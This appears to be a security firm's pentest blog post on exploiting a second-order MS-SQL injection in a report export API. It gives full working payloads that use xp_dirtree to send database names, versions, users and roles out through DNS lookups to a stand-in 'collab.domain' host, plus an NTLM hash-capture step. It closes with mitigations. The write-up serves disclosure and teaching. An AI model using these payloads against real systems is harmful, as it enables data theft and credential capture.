Exploiting Second Order SQL Injection with Stored Procedures
Introduction
In this blog, we explore the mechanics of detecting and exploiting a second-order SQL injection vulnerability, with a focus on Out-of-Band (OOB) techniques. This method, commonly used in scenarios where direct feedback isn’t possible, involves leveraging DNS requests to send data to an external domain controlled by the tester. We’ll guide you through the process of identifying the vulnerability, understanding how DNS-based exfiltration works, and demonstrating the escalation steps that can be chained together to gain deeper insights and control. We’ll also cover key challenges and ways to troubleshoot each step along the way.
The Vulnerability
The application is vulnerable to an out-of-band SQL injection in a Microsoft Excel report export feature. A second-order SQL injection occurs when malicious SQL payloads are stored by one part of an application and later executed in a different context, such as a subsequent API call, without proper sanitization. This makes the vulnerability harder to detect, as the payload does not trigger immediately.
In this case, the injection vulnerability is escalated using an SQL Server UNC Path Injection via xp_dirtree, a stored procedure that triggers file directory access on the SQL server. By carefully crafting the payload, we were able to send DNS queries from the backend to an external server under our control to ultimately disclose information about the database including usernames, tables, and service account.
Overview
The application has an export functionality that accepts a date as input and generates an Excel report as output. Here’s what the chain of requests looks like:
1. The server sends a request to /api/report/
with the affected parameter and provides a report ID in the response.
HTTP Request:
POST /api/report HTTP/1.1 Host: sqli-lab.local Cookie: SESSION_TOKEN=[REDACTED] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0 Accept: application/json, text/plain, */* Content-Type: application/json;charset=utf-8 Content-Length: 362 { "ReportTypeId": 36, "ReportActionType": "Export", "ReportParams": "{\"76\":{\"Value\":\"2024-08-15T00:00:00.000Z\",\"DisplayValue\":\"2024-08-14T18:30:00.000Z\"}}" }
HTTP Response:
HTTP/1.1 200 OK Cache-Control: private Pragma: no-cache Content-Type: application/json; charset=utf-8 Expires: -1 Set-Cookie: SESSION_TOKEN=[REDACTED]; path=/; secure; HttpOnly; SameSite=None Strict-Transport-Security: max-age=300; includeSubDomains Content-Length: 38 "79464974-a4e9-4fc8-ace0-46a5a91ca143"
2. This identifier is later used in a follow-up request to /api/report/ExportToExcel
to fetch the content for the Excel file, which is then downloaded as an attachment.
HTTP Request:
GET /api/report/ExportToExcel?reportId=79464974-a4e9-4fc8-ace0-46a5a91ca143 HTTP/1.1 Host: sqli-lab.local Cookie: SESSION_TOKEN=[REDACTED] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Te: trailers Connection: keep-alive
HTTP Response:
HTTP/1.1 200 OK Cache-Control: private Pragma: no-cache Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet Expires: -1 Set-Cookie: SESSION_TOKEN=[REDACTED]; path=/; secure; HttpOnly; SameSite=None content-disposition: attachment; filename=Staff2024-10-07.xlsx X-Server: 96722 Strict-Transport-Security: max-age=300; includeSubDomains Date: Mon, 07 Oct 2024 08:39:20 GMT Content-Length: 6342 PKêGY [TRUNCATED]
Detection
Injecting random data into the date parameter had no effect on the first request, which generates the report ID. However, the follow-up request /api/report/ExportToExcel
to fetch the Excel file using the file ID from the /api/report
response produces different results when injected with balanced versus imbalanced SQL queries.
1. First, we will send an HTTP request to the report generation endpoint with a single quote injected into the Value
JSON parameter to break the SQL syntax.
HTTP Request:
POST /api/report HTTP/1.1 Host: sqli-lab.local Cookie: SESSION_TOKEN=[REDACTED] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0 Accept: application/json, text/plain, */* Content-Type: application/json;charset=utf-8 Content-Length: 362 Connection: keep-alive { "ReportTypeId": 36, "ReportActionType": "Export", "ReportParams": "{\"76\":{\"Value\":\"2024-08-15T00:00:00.000Z'\",\"DisplayValue\":\"2024-08-14T18:30:00.000Z\"}}" }
HTTP Response:
HTTP/1.1 200 OK Cache-Control: private Pragma: no-cache Content-Type: application/json; charset=utf-8 Expires: -1 Set-Cookie: SESSION_TOKEN=[REDACTED]; path=/; secure; HttpOnly; SameSite=None X-Server: 96722 Strict-Transport-Security: max-age=300; includeSubDomains Content-Length: 38 "79464974-a4e9-4fc8-ace0-46a5a91ca143"
2. The follow-up request now returns a 500 Internal Server Error
because the report ID/Excel file does not exist in the backend. This likely occurred because the server failed to fetch the requested report, which wasn’t generated in the previous step, due to an imbalanced SQL query in the date range filter.
HTTP Request:
GET /api/report/ExportToExcel?reportId=79464974-a4e9-4fc8-ace0-46a5a91ca143 HTTP/1.1 Host: sqli-lab.local Cookie: SESSION_TOKEN=[REDACTED] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: application/json, text/plain, */*
HTTP Response:
HTTP/1.1 500 Internal Server Error Cache-Control: private Pragma: no-cache Set-Cookie: SESSION_TOKEN=[REDACTED]; path=/; secure; HttpOnly; SameSite=None Strict-Transport-Security: max-age=300; includeSubDomains Content-Length: 0
3. Furthermore, to confirm, as soon as we balanced the SQL query by commenting out the remainder of the SQL query (e.g., 2024-10-06T00:00:00.000Z';--
), the server started returning successful 200 OK
response for the follow-up request with an Excel sheet. This leads us to deduce that an SQL injection vulnerability exists.
HTTP Request:
POST /api/report HTTP/1.1 Host: sqli-lab.local Cookie: SESSION_TOKEN=[REDACTED] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Accept: application/json, text/plain, */* Content-Type: application/json;charset=utf-8 Content-Length: 164 {"ReportTypeId":36,"ReportActionType":"Export","ReportParams":"{\"76\":{\"Value\":\"2024-10-06T00:00:00.000Z';--\",\"DisplayValue\":\"2024-10-05T18:30:00.000Z\"}}"}
HTTP Response:
HTTP/1.1 200 OK Cache-Control: private Pragma: no-cache Content-Type: application/json; charset=utf-8 Expires: -1 Set-Cookie: SESSION_TOKEN=[REDACTED]; path=/; secure; HttpOnly; SameSite=None X-Server: 96722 Strict-Transport-Security: max-age=300; includeSubDomains Content-Length: 38 "f5ca5f5b-f1f4-4d32-afc6-015b91a44ee4"
HTTP Request:
GET /api/report/ExportToExcel?reportId=f5ca5f5b-f1f4-4d32-afc6-015b91a44ee4 HTTP/1.1 Host: sqli-lab.local Cookie: SESSION_TOKEN=[REDACTED] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: application/json, text/plain, */*
HTTP Response:
HTTP/1.1 200 OK Cache-Control: private Pragma: no-cache Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet Expires: -1 Set-Cookie: SESSION_TOKEN=[REDACTED]; path=/; secure; HttpOnly; SameSite=None content-disposition: attachment; filename=Staff2024-10-07.xlsx X-Server: 96722 Strict-Transport-Security: max-age=300; includeSubDomains Date: Wed, 16 Oct 2024 20:08:44 GMT Content-Length: 6342 PKêGY [TRUNCATED]
The next step for us was to identify the backend database. Since this was a blind SQL injection, we proceeded to test general sleep delays. The idea is to allow the server to return errors for a while due to the sleep delay. After some time, we expect the server to start providing successful responses once the report associated with the identifier we provided is generated, i.e., once the SQL query completes its execution.
While testing for other databases yielded similar responses, Microsoft SQL stood out. Below is an example of one of the injected payloads used while testing sleep delays:
{ "ReportTypeId": 36, "ReportActionType": "Export", "ReportParams": "{\"76\":{\"Value\":\"2024-10-06T00:00:00.000Z';WAITFOR DELAY '0:0:20';--\",\"DisplayValue\":\"2024-08-14T18:30:00.000Z\"}}" }
Even though the request is balanced, after issuing the above request, the server initially responds with a 500 Internal Server Error
. Interestingly, after 20 seconds, reissuing the request yields a successful 200 OK
response.
Since WAITFOR
delays are specific to Microsoft SQL, this confirms the backend database as Microsoft SQL.
Exploitation
MS-SQL offers powerful stored procedures, functions, and out-of-band connections. This approach seemed promising, as it could enable a single-step attack, in contrast to the more complex two-step, time-based blind injection method mentioned earlier, which would require some automation.
While many methods were unsuccessful, the use of out-of-band connections with xp_dirtree revealed something different.
Here’s how the vulnerable Value parameter (which contains the date) inside the JSON ReportParams looked when it was initially sent by the application:
"ReportParams":"{ \"76\": { \"Value\":\"2024-08-22T00:00:00.000Z\", \"DisplayValue\": \"2024-08-14T18:30:00.000Z\" } }"
By injecting the required SQL query that calls the xp_dirtree stored procedure into the Value field, we were able to force the SQL server to make a bunch of DNS requests to our controlled domain.
"ReportParams":"{ \"76\": { . \"Value\": \"2024-08-22T00:00:00.000Z'; DECLARE @q VARCHAR(99);SET @q='\\\\\\\\collab.domain\\\\path'; EXEC master.dbo.xp_dirtree @q;-- \", \"DisplayValue\": \"2024-08-14T18:30:00.000Z\" } }"
Here’s a simple breakdown of the SQL injection performed:
2024-08-22T00:00:00.000Z';
: Closes an existing SQL string literal and query with ‘; and opens the door for injection.declare @q varchar(99);
: Declares a variable @q that can store up to 99 characters.set @q='\\\\\\\\collab.domain\\\\path';
: Sets the value of @q to the UNC path\\collab.domain\path
(escaped for backslashes in SQL).exec master.dbo.xp_dirtree @q;
: Executes thexp_dirtree
procedure, which lists directories and subdirectories at the specified network path (\\collab.domain\path
).--
: The double hyphen (--
) is used in SQL to comment out the rest of the line. This ensures that any additional characters or commands following the injected code are ignored.
Upon executing the payload, we received DNS requests from the server, confirming the vulnerability.
Exfiltration via Subdomain in the UNC Path
Next, I used DB_NAME()
to confirm the database name and the system function @@SERVERNAME
to grab the server name, sending both through DNS requests where the data would be exfiltrated in the subdomain.
Extracting the Database Name
The following payload extracts the database name and sends it as part of a DNS request:
{ "76": { "Value": "2024-08-22T00:00:00.000Z';DECLARE @q NVARCHAR(256); SELECT @q = DB_NAME(); DECLARE @cmd NVARCHAR(4000); SET @cmd = '\\\\' + @q + '.collab.domain\\path'; EXEC master.dbo.xp_dirtree @cmd;-- ", "DisplayValue": "2024-08-14T18:30:00.000Z" } }
This more or less looks like the following MS SQL query:
DECLARE @q NVARCHAR(256); SELECT @q = DB_NAME(); DECLARE @cmd NVARCHAR(4000); SET @cmd = '\\\\' + @q + '.collab.domain\\path'; EXEC master.dbo.xp_dirtree @cmd;--
DECLARE @q NVARCHAR(256);
: Declares a variable @q that can hold up to 256 characters.SELECT @q = DB_NAME();
: Retrieves the current database name and stores it in @q.DECLARE @cmd NVARCHAR(4000);
: Declares a variable @cmd to store the full UNC path.SET @cmd = '\\' + @q + '.collab.domain\path';
: Constructs a UNC path where the database name is part of the subdomain.EXEC master.dbo.xp_dirtree @cmd;
: Executes xp_dirtree to list directories from the constructed UNC path.
Here’s the HTTP request/response for the payload:
HTTP Request:
POST /api/report HTTP/1.1 Host: sqli-lab.local Cookie: SESSION_TOKEN=[REDACTED] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0 Accept: application/json, text/plain, */* Content-Type: application/json;charset=utf-8 Content-Length: 362 Connection: keep-alive { "ReportTypeId": 36, "ReportActionType": "Export", "ReportParams": "{\"76\":{\"Value\":\"2024-08-15T00:00:00.000Z';DECLARE @q NVARCHAR(256); SELECT @q = DB_NAME(); DECLARE @cmd NVARCHAR(4000); SET @cmd = '\\\\\\\\' + @q + '.adr23315c31r8pinagov0y3pkgq7eyhm6.collab.domain\\\\path'; EXEC master.dbo.xp_dirtree @cmd;-- \",\"DisplayValue\":\"2024-08-14T18:30:00.000Z\"}}" }
HTTP Response:
HTTP/1.1 200 OK Cache-Control: private Pragma: no-cache Content-Type: application/json; charset=utf-8 Expires: -1 Set-Cookie: SESSION_TOKEN=[REDACTED] Strict-Transport-Security: max-age=300; includeSubDomains Date: Mon, 19 Aug 2024 13:25:08 GMT Content-Length: 38 "c5cefa93-3e49-48db-927d-9838e0345ba1"
Collaborator hit:
staging.adr23315c31r8pinagov0y3pkgq7eyhm6.collab.domain
Database name: staging
Extracting the Server name
Similarly for Server name, one can use the following payload:
DECLARE @v NVARCHAR(256); SELECT @v = @@SERVERNAME; DECLARE @cmd NVARCHAR(4000); SET @cmd = '\\\\\\\\' + @v + '.zrurhsfuqsfgmewco52kenhey54wsnwbl.collab.domain\\\\path'; EXEC master.dbo.xp_dirtree @cmd;--
Collaborator hit:
demodb.zrurhsfuqsfgmewco52kenhey54wsnwbl.collab.domain
Database name: demodb
Although the responses were the same for any input provided to the vulnerable Value
parameter in the /api/report
endpoint, successful exploitation was confirmed through out-of-band connections using SQL Server UNC Path injection, allowing me to retrieve the database and server names. However, I ran into issues when trying to exfiltrate additional data.
The following observations were made after failing to receive connections from the backend database on our remote server in these scenarios:
- Attempting to exfiltrate data containing spaces or other special characters.
- Sending data longer than 63 characters in length.
Subdomain and String Issues
Upon running into the above issues and going through the contents of RFC 1035, I concluded that the SQL query was failing because one or both of the below conditions were met:
- Subdomain Character Limitations:
Only alphanumeric characters and – are allowed in subdomains, similar to ARPANET host names rules.
To ensure the data extracted via the subdomain names does not contain any bad characters, aREPLACE()
function can be added to clean up bad characters. - Subdomain Length Restrictions:
While the maximum length of a domain name is restricted to 255 octets, DNS subdomains/labels are limited to only a maximum of 63 characters long, which justifies the earlier restrictions faced.
To deal with long strings like version numbers, we will be usingSUBSTRING()
to extract data piece by piece.
Extracting SQL Server Version
The following HTTP request was issued that extracts the first 50 characters of the SQL server version. Only 50 chars requested since the data to be extracted will fall into a multi-level subdomain which has a maximum of 63 chars length.
e.g [EXFIL DATA].[SUBDOMAIN].collab.domain
POST /api/report HTTP/1.1 Host: sqli-lab.local Cookie: SESSION_TOKEN=[REDACTED] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0 Accept: application/json, text/plain, */* Content-Type: application/json;charset=utf-8 Content-Length: 532 {"ReportTypeId":36,"ReportActionType":"Export","ReportParams":"{\"76\":{\"Value\":\"2024-08-15T00:00:00.000Z';DECLARE @q NVARCHAR(256); SELECT @q = SUBSTRING(@@VERSION, 1, 50); SELECT @q = REPLACE(@q, c.value, 'X') FROM (VALUES (' '),('/'),('-'),(':'),(CHAR(13)), (CHAR(10)), (CHAR(9)),('('), (')'), ('<'), ('>')) AS c(value); DECLARE @cmd NVARCHAR(4000); SET @cmd = '\\\\\\\\' + @q + '.i0jaqbodzbozvx5vxob3n6qx7odf19zxo.collab.domain\\\\path'; EXEC master.dbo.xp_dirtree @cmd;-- \",\"DisplayValue\":\"2024-08-14T18:30:00.000Z\"}}"}
DECLARE @q NVARCHAR(256); SELECT @q = SUBSTRING(@@VERSION, 0, 50); SELECT @q = REPLACE(@q, c.value, '-') FROM (VALUES (' '),('/'),('-'),(':'),(CHAR(13)), (CHAR(10)), (CHAR(9)),('('), (')'), ('<'), ('>')) AS c(value); DECLARE @cmd NVARCHAR(4000); SET @cmd = '\\\\\\\\' + @q + '.i0jaqbodzbozvx5vxob3n6qx7odf19zxo.collab.domain\\\\path'; EXEC master.dbo.xp_dirtree @cmd;--
The payload translates to the following SQL query:
DECLARE @q NVARCHAR(256);
: Declares a variable@q
to store part of the SQL Server version.SELECT @q = SUBSTRING(@@VERSION, 0, 50);
: Extracts the first 50 characters of the SQL Server version using @@VERSION and stores it in@q
.SELECT @q = REPLACE(@q, c.value, '-') FROM (VALUES (' '),('/'),('-'),(':'),(CHAR(13)),(CHAR(10)), (CHAR(9)),('('), (')'), ('<'), ('>')) AS c(value);
: Replaces special characters (spaces, slashes, hyphens, etc.) including characters like carriage return, line feed and tabs in the extracted version string with the character-
, sanitizing the value in@q
.DECLARE @cmd NVARCHAR(4000);
: Declares a variable @cmd to store the full UNC path.SET @cmd = '\\\\' + @q + '.i0jaqbodzbozvx5vxob3n6qx7odf19zxo.collab.domain\\path';
: Constructs the UNC path, embedding the sanitized version string as a subdomain in the domaini0jaqbodzbozvx5vxob3n6qx7odf19zxo.collab.domain
and appending\\path
.EXEC master.dbo.xp_dirtree @cmd;
: Executesxp_dirtree
to list directories from the constructed UNC path, exfiltrating the SQL Server version string via the subdomain in a DNS request.
To fetch the next 50 characters of the SQL Server version, you can modify the SUBSTRING function’s offset: SUBSTRING(@@VERSION, 50, 50);
.
Collaborator hits:
Microsoft-SQL-Server-2019--RTM-CU27-GDR---KB50409.i0jaqbodzbozvx5vxob3n6qx7odf19zxo.collab.domain 48----15.0.4382.1--X64----Jul--1-2024-20-03-23---C.i0jaqbodzbozvx5vxob3n6qx7odf19zxo.collab.domain opyright--C--2019-Microsoft-Corporation--Enterpris.i0jaqbodzbozvx5vxob3n6qx7odf19zxo.collab.domain e-edition--core-based-licensing--64-bit--on-window.i0jaqbodzbozvx5vxob3n6qx7odf19zxo.collab.domain s-Server-2019-Standard-10.0--X64---Build-17763----.i0jaqbodzbozvx5vxob3n6qx7odf19zxo.collab.domain -Hypervisor--.i0jaqbodzbozvx5vxob3n6qx7odf19zxo.collab.domain
MS-SQL Version:
$ awk -F'.' '{print $1}' version | sed 's/-/ /g; s/ */ /g' | tr -d '\n' Microsoft SQL Server 2019 RTM CU27 GDR KB5040948 15.0.4382.1 X64 Jul 1 2024 20 03 23 Copyright C 2019 Microsoft Corporation Enterprise Edition Core based Licensing 64 bit on Windows Server 2019 Standard 10.0 X64 Build 17763 Hypervisor
Extracting the list of DBs present
DECLARE @cmd NVARCHAR(4000); SET @cmd = '\\\\\\\\' + (SELECT name FROM master..sysdatabases ORDER BY name OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY) + '.9bl112z4a2zq6ogm8fmuyx1oifo6c29qy.collab.domain\\\\path'; SELECT @cmd = REPLACE(@cmd, c.value, '-') FROM (VALUES (' '),('/'),(':'),(CHAR(13)), (CHAR(10)), (CHAR(9)),('('), (')'), ('<'), ('>')) AS c(value); EXEC master.dbo.xp_dirtree @cmd;--
By adjusting the OFFSET value in OFFSET 1 ROWS FETCH NEXT 1 ROWS ONLY
, we were able to retrieve different databases from the sysdatabases table.
Collaborator hit:
staging.9bl112z4a2zq6ogm8fmuyx1oifo6c29qy.collab.domain master.9bl112z4a2zq6ogm8fmuyx1oifo6c29qy.collab.domain …
Database names:
$ cat output | awk -F'.' '{print $1}' staging master …
While querying master..sysdatabases
was a useful approach, using DB_NAME(1)
, DB_NAME(2)
, and so on, provided an equally effective, if not better, means to achieve similar results.
Dumping all the users and roles
The sys.database_principals
proved to be a good resource to provide information about database users, roles, and schemas.
SQL query:
DECLARE @cmd NVARCHAR(4000); SET @cmd = '\\\\\\\\' + (SELECT name FROM sys.database_principals ORDER BY name OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY) + '.b2e3s4q614qsxq7ozhdwpzsq9hf8344st.collab.domain\\\\path'; SELECT @cmd = REPLACE(@cmd, c.value, '-') FROM (VALUES (' '),('/'),(':'),(CHAR(13)), (CHAR(10)), (CHAR(9)),('('), (')'), ('<'), ('>')) AS c(value); EXEC master.dbo.xp_dirtree @cmd;--
Collaborator hits:
guest.b2e3s4q614qsxq7ozhdwpzsq9hf8344st.collab.domain dbo.b2e3s4q614qsxq7ozhdwpzsq9hf8344st.collab.domain INFORMATION_SCHEMA.b2e3s4q614qsxq7ozhdwpzsq9hf8344st.collab.domain public.b2e3s4q614qsxq7ozhdwpzsq9hf8344st.collab.domain sys.b2e3s4q614qsxq7ozhdwpzsq9hf8344st.collab.domain …
User/role names:
$ awk -F'.' '{print $1}' guest dbo INFORMATION_SCHEMA public sys …
The list does not indicate which of these users is the current user. The next section demonstrates how we identified the current user.
Getting the current user and permissions
While other methods to fetch the current user may not work, a simple approach is to query the sys.sysusers
table to identify the current user. This can be done by comparing the uid
from sys.sysusers
with the value returned by USER_ID()
.
SQL Payload:
DECLARE @cmd NVARCHAR(4000); SET @cmd = '\\\\\\\\' + (SELECT name FROM sys.sysusers WHERE uid = USER_ID()) + '.r2ujskqm1kq8x674zxdcpfs69xfo3k78w.collab.domain\\\\path'; SELECT @cmd = REPLACE(@cmd, c.value, '-') FROM (VALUES (' '),('/'),(':'),(CHAR(13)), (CHAR(10)), (CHAR(9)),('('), (')'), ('<'), ('>')) AS c(value); EXEC master.dbo.xp_dirtree @cmd;--
POST /api/report HTTP/1.1 Host: sqli-lab.local Cookie: SESSION_TOKEN=[REDACTED] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Content-Type: application/json;charset=utf-8 Content-Length: 513 {"ReportTypeId":36,"ReportActionType":"Export","ReportParams":"{\"76\":{\"Value\":\"2024-08-15T00:00:00.000Z'; DECLARE @cmd NVARCHAR(4000); SET @cmd = '\\\\\\\\' + (SELECT name FROM sys.sysusers WHERE uid = USER_ID()) + '.r2ujskqm1kq8x674zxdcpfs69xfo3k78w.collab.domain\\\\path'; SELECT @cmd = REPLACE(@cmd, c.value, '-') FROM (VALUES (' '),('/'),(':'),(CHAR(13)), (CHAR(10)), (CHAR(9)),('('), (')'), ('<'), ('>')) AS c(value); EXEC master.dbo.xp_dirtree @cmd;-- \",\"DisplayValue\":\"2024-08-14T18:30:00.000Z\"}}"}
HTTP Request:
0.r2ujskqm1kq8x674zxdcpfs69xfo3k78w.collab.domain
Collaborator hit:
DECLARE @q NVARCHAR(256); SELECT @q = is_srvrolemember('sysadmin'); DECLARE @cmd NVARCHAR(4000); SET @cmd = '\\\\\\\\' + @q + '.s4xkulsn3ls9z7951yfdrgu7byhp5g34s.collab.domain\\\\path'; EXEC master.dbo.xp_dirtree @cmd;--
Unfortunately, the username returned as public, which has minimal permissions. To check if the user is a sysadmin, we can use the following payload:
Collaborator hit:
0.r2ujskqm1kq8x674zxdcpfs69xfo3k78w.collab.domain
The result indicates that the user is not a sysadmin, returning false.
Stealing NetNLM hashes with xp_dirtree
We can also attempt to capture NTLMv2 hashes that may be used for authentication by setting up an SMB server (such as impacket-smbserver or Responder).
To reach out to our SMB server, we can execute the following xp_dirtree query:
EXEC master.dbo.xp_dirtree '\\\\\\\\collab.domain\\\\path';
For more details on related techniques and considerations, refer to our previous blogs on executing SMB relay attacks via SQL Server and SQL Server link crawling with PowerUpSQL.
Mitigations
To enhance security against SQL injection attacks, here re some mitigations we recommend:
- Parameterized Queries: Always use parameterized queries to handle user input securely.
- Data Type Enforcement and Input Filtering: Strictly define acceptable data types (e.g., strings, alphanumeric characters) for all inputs. Also, implement data input filters to remove potentially harmful characters, using allowlists and regular expressions.
- Database Hardening: Secure the database server to prevent unauthorized data access.
- Generic Error Messages: Disable detailed error messages that expose sensitive information. Use generic error messages instead, directing users to contact IT or the web administrator.
- Principle of Least Privilege: Apply the principle of least privilege when assigning permissions to limit the impact of SQL injection attacks. Use a non-privileged service account to run the database server, ensuring the database user lacks administrative privileges.
Summary
In this engaging penetration test, we successfully uncovered a second order MS-SQL injection vulnerability using an Out-of-Band (OOB) technique. This approach allowed us to exfiltrate sensitive data by leveraging stored procedures, specifically xp_dirtree, which is particularly useful for making network requests and accessing file systems within SQL Server environments.
Due to time constraints, we could not explore additional exploitation paths, such as multi-step time-based blind SQL injection. Instead, we utilized an Interactsh server to automate the capture of Out-of-Band calls directed to our collaborator server. This method streamlined the process of data exfiltration, demonstrating the effectiveness of OOB techniques in SQL injection scenarios.
Navigating the intricacies of SQL injection posed several challenges, particularly in managing character limits and other special conditions. Each hurdle we encountered underscored the complexity and excitement of web application security testing. The experience highlighted the delicate balance between vulnerability discovery and exploitation in real-world applications, reinforcing the critical need for robust security measures in database management systems.
This test not only showcased our technical capabilities but also illuminated the broader implications of SQL injection vulnerabilities and their potential impact on organizational security.
Thank you for reading!
We hope these insights and recommendations help enhance your application’s security against SQL injection attacks.
Authors:
Explore more blog posts
CTEM Defined: The Fundamentals of Continuous Threat Exposure Management
Learn how continuous threat exposure management (CTEM) boosts cybersecurity with proactive strategies to assess, manage, and reduce risks.
Balancing Security and Usability of Large Language Models: An LLM Benchmarking Framework
Explore the integration of Large Language Models (LLMs) in critical systems and the balance between security and usability with a new LLM benchmarking framework.
From Informational to Critical: Chaining & Elevating Web Vulnerabilities
Learn about administrative access and Remote Code Execution (RCE) exploitation from a recent Web Application Pentest.